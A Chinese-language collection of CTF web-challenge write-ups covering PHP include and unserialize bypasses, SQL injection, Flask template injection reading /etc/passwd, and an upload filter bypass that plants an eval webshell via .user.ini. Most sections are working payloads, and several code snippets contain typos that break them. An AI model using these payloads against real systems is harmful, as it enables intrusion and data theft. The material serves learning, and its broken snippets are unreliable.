目录
5、查表 1';use supersqli;show tables;#
6、查columns,1';use supersqli;show columns from `1919810931114514`;#
(七)Web_python_template_injection
(一)Web_php_incude
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
方法一(数据库写入马):
1. 使用御剑扫描
2. 进入后台管理系统
3、查询参数secure-file-priv
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录
show variables like "secure_file_priv"
4、上传一句话木马
select "<?php eval($_POST['1']); ?>"into outfile '/tmp/1.php'
5、中国蚁剑连接
在目录里面找flag
(二)Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
//实例化对象,当类新建对象的时候会被执行
$this->file = $file;
//将对象的file属性的值设置为file变量
}
function __destruct() {
//对象被销毁时将被调用
echo @highlight_file($this->file, true);
//输出读取的文件,highlight_file()函数为输出指定的php文件代码
}
function __wakeup() {
if ($this->file != 'index.php') {
//_wakeup()函数,在unserialize()反序列化操作前会被调用
//the secret is in the fl4g.php
$this->file = 'index.php';
//将对象的file参数设置为index.php
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
//对获取到的参数var值进行base64解码
if (preg_match('/[oc]:\d+:/i', $var)) {
//正则表达式,如果匹配成功返回true,\d匹配任意的数字 /i表示匹配时不区分大小写 /[oc]匹配oc字符
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
分析代码:
- 过滤条件是o:number : ,大小写绕过不行,可以试试+中断
- 利用__wakeup()的CVE-2016-7124,在序列化的字符串当中属性数大于实际数,该函数不会执行
- 进行base64加密
<?php
class Demo{
prviate $file = 'include.php';
}
$a = new Demo('fl4g.php');
$b = serialize($a);
$b = str_replace('O:4','O:+4',$b);
$b = str_replace(':1:',':2:',$b);
&b = base64_encode($b);
var_dump($b);
?>
使用php在线运行
构造
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到flag
(三)supersqli
1、加上单引号有报错,说明存在注入点
2、 使用#注释,没有报错,说明为单引号闭合
3、当orfer by 3#发现报错,可知字段为2
4、得到数据库1'; show databases; #
5、查表 1';use supersqli;show tables;#
6、查columns,1';use supersqli;show columns from `1919810931114514`;#
7、爆破数据
如果使用select会被过滤掉,所有我们可以使用预编译
1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
(四)web2
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
我们分析代码,和加密步骤相反即可得到flag
- strrev() 函数:反转字符串
- substr函数:返回字符串的一部分,substr(string,start,length)
- ord() 函数:返回字符串的首个字符的 ASCII 值
- chr() 函数:从指定的 ASCII 值返回字符,chr(ascii)
- str_rot13() 函数:对字符串执行 ROT13 编码。ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变,str_rot13(string)
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode(&str){
$_o=base64_decode(strrev(str_rot13($str)));
for($_0=0;$_0<strlen($o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$__=$_.$_c;
}
return strrev($_);
}
echo decode($miwen);
?>
之后得到flag
(五)NewsCenter
1、找回显点,当出现此页面就表示输入有误
通过尝试为' 闭合,3列
2、找数据库名,没有特殊的过滤
' union select 1,2,database()#
3、找表名
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
4、找列表名
' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret_table'#
5、得到flag
' union select 1,2,fl4g from secret_table#
(六) inget
看了源码什么都没有,id可以想到isql
用or闭合flag就出现了
(七)Web_python_template_injection
查看源码也没有注入点,我们尝试找回显点
补充:
从零学习flask模板注入 - FreeBuf网络安全行业门户
由此可知,说明存在“SSTI”。关于SSTI即服务端模板注入攻击,服务端接受用户输入,将其作为 Web 应用模板的一部分,渲染编译后执行了恶意内容,导致敏感信息泄露、代码执行等
__class__ #返回type类型,查看对象的类型
__bases__ #返回tuple类型,列出该类的基类
__mro__ #返回tuple类型,给出解析方法调用的顺序
__subclasses__() #返回内建方法builtin_function_or_method,获取一个类的子类
__globals__ #返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量,
先查看全局变量config
寻找基类
{{''.__class__.__mro__[2].__subclasses__()}}
我们可以找到type file类型,为40
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
可以看到有一个 <class ‘site._Printer’>,[71]为<class ‘site._Printer’>出现位置
得到flag
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
(八) easyupload
说明没有进行前端过滤
本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行
- 检查文件内容是否有php字符串
- 检查后缀中是否有htaccess或ph
- 检查文件头部信息
- 文件MIME类型
对于第一点可以利用短标签绕过,例如<?=phpinfo();?>
对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell
auto_prepend_file 表示加载第一个PHP代码之前执行指示(包含的)PHP文件
auto_append_file 表示加载第一个PHP代码之后执行指示(包含的)PHP文件
简单来说
auto_prepend_file = <filename> //包含在文件头
auto_append_file = <filename> //包含在文件尾
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。
第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a
补充:
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。
第四点绕过方法即修改上传时的Content-Type为image/jpg
上传.user.ini
GIF89a
auto_prepend_file=a.jpg
上传a.jpg
GIF89a
<?=eval($_REQUEST['cmd']);?>
用蚁剑也可以